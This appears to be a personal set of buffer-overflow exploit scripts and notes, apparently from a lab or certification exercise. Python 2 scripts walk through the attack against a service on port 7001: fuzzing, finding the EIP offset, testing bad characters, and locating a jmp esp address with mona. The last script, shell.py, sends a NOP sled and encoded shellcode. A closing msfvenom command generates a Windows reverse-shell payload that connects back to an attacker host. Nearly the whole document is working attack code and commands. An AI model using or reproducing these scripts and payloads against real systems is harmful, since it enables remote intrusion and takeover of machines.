BoF 1

a.py

#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2560
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

msf.py

#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2D"
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

b.py

#Send some C's along with B's and check where ESP is pointing. 
#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2288
  eip = "B" * 4
  offset = "C" * 16
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer + eip + offset)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

extra.py

#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2288
  eip = "B" * 4
  offset = "C" * 8
  extra = "D" * (3288 - len(buffer) - len(eip) - len(offset))
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer + eip + offset + extra)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

bad.py

#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2288
  eip = "B" * 4
  offset = "C" * 8
  badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer + eip + offset + badchars)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

mona.py

#COMMANDS
#!mona modules
#!mona find -s "\xff\xe4" -m "modulename"
#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2288
  #148010CF
  eip = "\xCF\x10\x80\x14"
  offset = "C" * 8
  extra = "D" * (3288 - len(buffer) - len(eip) - len(offset))
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer + eip + offset + extra)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

shell.py

#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2288
  #148010CF
  eip = "\xCF\x10\x80\x14"
  offset = "C" * 8
  nops = "\x90" * 10
  buf = ("\xdb\xcc\xd9\x74\x24\xf4\x5f\x33\xc9\xbe\x4d\xa6\xb4\x15\xb1"
"\x52\x83\xef\xfc\x31\x77\x13\x03\x3a\xb5\x56\xe0\x38\x51\x14"
"\x0b\xc0\xa2\x79\x85\x25\x93\xb9\xf1\x2e\x84\x09\x71\x62\x29"
"\xe1\xd7\x96\xba\x87\xff\x99\x0b\x2d\x26\x94\x8c\x1e\x1a\xb7"
"\x0e\x5d\x4f\x17\x2e\xae\x82\x56\x77\xd3\x6f\x0a\x20\x9f\xc2"
"\xba\x45\xd5\xde\x31\x15\xfb\x66\xa6\xee\xfa\x47\x79\x64\xa5"
"\x47\x78\xa9\xdd\xc1\x62\xae\xd8\x98\x19\x04\x96\x1a\xcb\x54"
"\x57\xb0\x32\x59\xaa\xc8\x73\x5e\x55\xbf\x8d\x9c\xe8\xb8\x4a"
"\xde\x36\x4c\x48\x78\xbc\xf6\xb4\x78\x11\x60\x3f\x76\xde\xe6"
"\x67\x9b\xe1\x2b\x1c\xa7\x6a\xca\xf2\x21\x28\xe9\xd6\x6a\xea"
"\x90\x4f\xd7\x5d\xac\x8f\xb8\x02\x08\xc4\x55\x56\x21\x87\x31"
"\x9b\x08\x37\xc2\xb3\x1b\x44\xf0\x1c\xb0\xc2\xb8\xd5\x1e\x15"
"\xbe\xcf\xe7\x89\x41\xf0\x17\x80\x85\xa4\x47\xba\x2c\xc5\x03"
"\x3a\xd0\x10\x83\x6a\x7e\xcb\x64\xda\x3e\xbb\x0c\x30\xb1\xe4"
"\x2d\x3b\x1b\x8d\xc4\xc6\xcc\x72\xb0\xbf\x81\x1b\xc3\x3f\x9b"
"\x60\x4a\xd9\xf1\x86\x1b\x72\x6e\x3e\x06\x08\x0f\xbf\x9c\x75"
"\x0f\x4b\x13\x8a\xde\xbc\x5e\x98\xb7\x4c\x15\xc2\x1e\x52\x83"
"\x6a\xfc\xc1\x48\x6a\x8b\xf9\xc6\x3d\xdc\xcc\x1e\xab\xf0\x77"
"\x89\xc9\x08\xe1\xf2\x49\xd7\xd2\xfd\x50\x9a\x6f\xda\x42\x62"
"\x6f\x66\x36\x3a\x26\x30\xe0\xfc\x90\xf2\x5a\x57\x4e\x5d\x0a"
"\x2e\xbc\x5e\x4c\x2f\xe9\x28\xb0\x9e\x44\x6d\xcf\x2f\x01\x79"
"\xa8\x4d\xb1\x86\x63\xd6\xc1\xcc\x29\x7f\x4a\x89\xb8\x3d\x17"
"\x2a\x17\x01\x2e\xa9\x9d\xfa\xd5\xb1\xd4\xff\x92\x75\x05\x72"
"\x8a\x13\x29\x21\xab\x31")
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer + eip + offset + nops + buf)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

b.py and extra.py Analogy:

Here ESP points at 0396EE6C. Check the stack now. You will find that there are 8 C's before the pointer of ESP. So modify the code and send 8 C's along with D's by using extra.py. Increase the buffer size by 800-1500 only. This means the value of (msf-pattern_offset + 800-1500)

RETURN ADDRESS:

Add all the badchars including \x00
!mona jmp -r esp -cpb "\x00"

OR 

!mona find -s "\xff\xe4" -m essfunc.dll

MSFVENOM:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.141 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00"